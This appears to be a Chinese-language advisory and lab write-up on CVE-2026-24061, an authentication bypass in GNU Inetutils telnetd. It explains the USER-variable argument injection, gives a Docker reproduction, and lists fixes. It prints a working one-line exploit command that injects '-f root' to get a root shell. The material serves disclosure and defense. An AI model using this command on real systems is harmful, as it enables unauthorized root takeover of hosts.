GNU Inetutils Telnetd 远程认证绕过漏洞(CVE-2026-24061)
[TOC]
漏洞介绍
- 漏洞编号:CVE-2026-24061
- 影响组件:GNU Inetutils 中的 telnetd 服务端程序
- 受影响版本:GNU Inetutils 1.9.3 至 2.7 版本
- CVSS评分:9.8(CRITICAL)
- 漏洞特性:远程、无需用户交互、无权限依赖,仅需发送构造的登录请求即可触发
- 危害后果:攻击者直接绕过正常认证流程,以root权限登录目标系统,实现完全控制权接管
该漏洞存在于GNU Inetutils套件的telnetd服务中,攻击者可利用此漏洞绕过密码校验,直接获取目标系统的root权限,风险等级极高。
该漏洞利用门槛较低,无需复杂技术储备,且利用过程无明显日志特征,易被攻击者隐蔽利用
漏洞原因
该漏洞属于典型的命令参数注入漏洞(对应CWE-88:命令中参数分隔符的不当中和),核心风险在于未对用户输入进行安全校验,导致攻击者可通过构造恶意请求绕过认证机制。
该漏洞的根源在于telnetd服务在调用系统/usr/bin/login程序进行身份认证时,未对USER环境变量进行有效过滤与校验。攻击者可通过注入特殊命令行参数(如“-f root”),篡改login程序的执行逻辑,直接跳过密码验证环节,以root用户身份登录目标系统。
要理解该漏洞的触发机制,需先明确GNU Inetutils Telnetd的登录处理流程,核心问题出在用户环境变量传递与命令调用的安全校验缺失上。
正常登录流程
当远程客户端发起Telnet连接请求时,telnetd服务端会调用系统的 /usr/bin/login 程序执行身份验证,此时telnetd会将客户端传递的用户环境变量(如USER)作为参数传递给login程序,由login程序完成账号密码校验、权限分配等操作。
漏洞触发关键环节
漏洞的核心在于telnetd对客户端传递的用户环境变量未做任何 sanitize(净化)处理,直接原样转发给login程序,导致攻击者可通过构造恶意环境变量值实现参数注入。具体逻辑如下:
- 参数注入构造:攻击者通过Telnet客户端的
-a或--login参数,向telnetd服务端发送USER环境变量,值设置为-f root。这里的-f并非普通用户名的一部分,而是login程序的内置参数。 - 不安全参数传递:telnetd在处理该环境变量时,未检查字符串是否包含命令参数分隔符或特殊选项,直接将
-f root作为参数传递给login程序。 - login程序权限绕过:在类UNIX系统中,login程序的
-f选项为“可信登录标记”,允许在特定条件下跳过密码校验流程,直接以指定用户身份登录。当login程序接收到-f root参数时,会误认为是合法的可信登录请求,直接授予root权限,无需验证密码。
漏洞分析
首先看下列代码:
其中 %U 变量由telnetd/utility.c中的 _var_short_name() 函数解析,该函数直接返回 getenv("USER") 的值,无任何输入校验逻辑,导致攻击者可随意构造变量内容注入恶意参数。
利用手法
攻击者通过恶意构造 USER环境变量,使其包含 -f root
例如,攻击者将 USER 设置为 -f root,telnetd 可能会将其解析并传递给 login。
最终,telnetd 执行的命令实际上变成了:
1 | /bin/login ... -f root |
由于 telnetd 本身是以 root 权限运行的,login程序会跳过密码验证,直接以root身份登录
影响范围
影响版本:1.9.3 <= GNU Inetutils <= 2.7
POC
1 | USER='-f root' telnet -a <target_ip> |
如果目标存在漏洞,您将不会看到常规的 Login: 或 Password: 提示符,而是直接进入目标系统的 Root Shell。示例如下:
漏洞复现
环境搭建
使用docker搭建漏洞环境
- 拉取文件
1 | git clone https://github.com/leonjza/inetutils-telnetd-auth-bypass.git |
- docker镜像创建
1 | docker build -t telnetd-exploit . |
- 启动镜像
1 | docker run --rm -it telnetd-exploit |
漏洞利用
输入如下命令
1 | USER='-f root' telnet -a 127.0.0.1 |
说明是已经攻击成功了
修复建议
- 补丁更新或版本升级
GNU官方已发布漏洞修复补丁,核心修复逻辑是在 _var_short_name() 函数中增加输入校验:
- 检查用户名首字符是否为
-(避免构造命令选项); - 检测字符串中是否包含shell元字符(如 \t、\n、!、#、$、& 等);
- 仅当两项校验均通过时返回原值,否则返回空字符串,阻断参数注入。
修复建议:优先升级至含修复补丁的GNU Inetutils 2.8版本(官方后续发布);暂无法升级则从GNU官方仓库或OSS-Security邮件列表获取补丁,对1.9.3-2.7版本手动编译应用。
- 直接升级至包含修复补丁的GNU Inetutils版本(可关注官方仓库后续发布的2.8版本,或获取当前补丁手动编译);
- 手动应用补丁:从GNU官方仓库或OSS-Security邮件列表获取修复补丁,对现有1.9.3-2.7版本进行补丁编译升级。
- 协议替代与安全管控
从安全角度,建议彻底淘汰Telnet协议,改用SSH协议(加密传输、身份验证机制更完善)替代远程管理需求;同时建立组件全生命周期管理机制,定期排查系统中安装的遗留协议组件,及时清理不必要的服务,降低攻击面。










